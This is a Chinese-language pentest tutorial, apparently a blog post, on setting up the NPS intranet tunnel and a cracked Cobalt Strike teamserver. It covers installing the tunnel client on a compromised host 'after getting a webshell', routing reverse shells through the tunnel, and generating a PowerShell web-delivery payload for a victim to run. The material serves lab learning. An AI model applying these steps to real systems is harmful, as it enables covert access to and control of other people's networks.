
linux查看系统版本
uname -a
直接输入【uname -a】,然后回车,出现的结果里面,出现【x86_64】就代表【64位操作系统】,否则就是32为操作系统。
NPS
nps是一款轻量级、高性能、功能强大的内网穿透代理服务器。目前支持tcp、udp流量转发,可支持任何tcp、udp上层协议(访问内网网站、本地支付接口调试、ssh访问、远程桌面,内网dns解析等等……),此外还支持内网http代理、内网socks5代理、p2p等,并带有功能强大的web管理端。
· 一台有公网IP的服务器(VPS)运行服务端(NPS)
· 一个或多个运行在内网的服务器或者PC运行客户端(NPC)
用处:进入内网时,内网无法与外界连接,通过NPS让内网与nps连接,nps与外网连接,这样其他人就可以通过直接访问nps进行内网访问,俗称内网流量转发

GitHub:
Releases · ehang-io/nps · GitHub目前最新的V0.26.1版本,32位就选386,64就选amd64,具体还是以实际情况为准。

下载的压缩包文件

解压
tar -zxvf linux_amd64_server.tar.gz

解压完成之后

进入nps文件夹之后
执行
./nps start

出现这种情况的话一般是端口已经被占用
这时候去配置文件修改端口


http为监听流量端口

bridge为客户端连接端口


此端口是访问服务端的端口

安装客户端
创建客户端信息
再安装客户端前,我们首先需要在控制页面创建客户端,然后将创建的参数写入到客户端配置文件中!

未连接状态显示

上传客户端软件
上传文件,解压文件
在启动客户端的时候,注意在客户端列表前端有个加号(+),点击后会出现启动客户端命令。


把命令粘贴进去,进行启动

发现变成了在线
NPS本质上就是端口转发,也叫端口绑定,公网服务器的端口绑定到内网的端口,这样其他人访问公网服务器的端口nps自动转到内网的端口,同理如果反弹shell从内网直接反弹到nps,nps自动转换成公网服务器的端口,只需要监听公网服务器的端口即可
实例说明
nps客户端配置(在内网服务器上安装)
拿到webshell之后在内网服务器进行安装nps客户端
[root@node3 ~]# tar xzvf linux_amd64_client.tar.gz
[root@node3 ~]# ./npc -server=121.36.193.171:8024 -vkey=noluyzdib92ytybn -type=tcp
2022/03/06 05:00:51.066 [I] [npc.go:231] the version of client is 0.26.10, the core version of client is 0.26.0
2022/03/06 05:00:51.264 [I] [client.go:72] Successful connection with server 121.36.193.171:8024
#显示来连接成功
此时内网的服务器已经与外网的云nps服务器端口映射成功
设置内网穿透,访问内网服务资源
实现效果:
将服务端的IP:8002端口映射到到内网客户端的IP:80端口,也就是访问内网的Web资源。
将服务端的IP:8003端口映射到内网客户端的IP:22端口,也就是ssh远程连接内网服务器。
操作如下:
1.映射内网客户端的IP:80端口:点击刚才配置的客户端”隧道—>新增“:

目标就是内网的ip:端口
也就是内网与外网映射的端口
映射客户端的IP:22端口:点击刚才配置的客户端”隧道—>新增“:

点击左侧导航栏的”TCP隧道“

配置华为云服务器的安全组—开放8002,8003端口
华为云服务器默认之开启22端口,因此我们需要手动开启8002,8003端口,否则影响实验效果。
点击”服务器名称—>安全组配置—>配置入口规则,开放8002,8003端口即可“。
测试访问Web资源穿透效果
前提:内网服务中需要安装httpd服务,并且开启
[root@node3 ~]# yum install -y httpd
[root@node3 ~]# systemctl restart httpd
[root@node3 ~]# echo ""Hello Nps > /var/www/html/index.html #准备测试文件
内网测试:没问题。


测试ssh远程登陆

直接访问8003云服务器端口自动转发到内网的端口
CS
安装
下载地址:Cobalt Strike4.0中文版下载 渗透利器CobaltStrike 4.0 免费汉化版(含原版+补丁) 下载-脚本之家
下载后解压,将有修改中文版拖入kali虚拟机中
在终端打开该文件夹
为"agscript"、“c2lint”、"peclone"和"teamserver"文件赋予执行权限。
chmod +x agscript
chmod +x c2lint
chmod +x peclone
chmod +x teamserver
ls -l查看一下权限
启动服务端
./teamserver 192.168.47.129 123456
#192.168.47.129 电脑的ip地址/如果是云主机就填公网ip,123456是密码
报错的话,在前面加上sudo命令
启动客户端
windows本机打开cs原版文件夹 start.bat
弹出一个窗口,输入host为kali ip,端口默认50050、user默认
密码是前面自己设置的,123456
connect后连接成功,弹出以下界面
简单使用
Listenrs功能
作用:一个监听器既是一个payload的配置信息,同时又是Cobalt Strike起一个服务器来接收来自这个payload 的连接的指示。
开始操作,选择Listener监听器
点击add添加监听器
name输入监听器名称(随意)
payload选择默认的http反弹方式
host选择前面使用到的kali ip
port随便填一个没有在使用的83
点击save保存
Listener添加成功
可以看到kali虚拟机中服务端已经开始监听
选择Scripted Web Delivery脚本攻击
弹窗最上面有一段简单的功能介绍,翻译过来就是:提供的一行代码将允许您快速获得目标主机上的会话
url随便起一个名字
host依然填服务端的kali ip
port端口随便填一个没有在使用的82
listener选择刚刚创建的那个test1
type选择powershell(powershell用于在 Windows 中自动执行管理任务)
点击launch启动
生成一条payload,复制它
打开目标主机,我这里用的windows本机,将payload复制到搜索框,点击运行powershell
实战的过程中,需要让受害者执行这条语句
反弹回来说明Listener是正常运行的
点击view->web log,里面会显示一些访问信息
说明一点
由于连接的是校园网内网的IP
所以分配IP就是内部结构
总结一下网路拓扑结构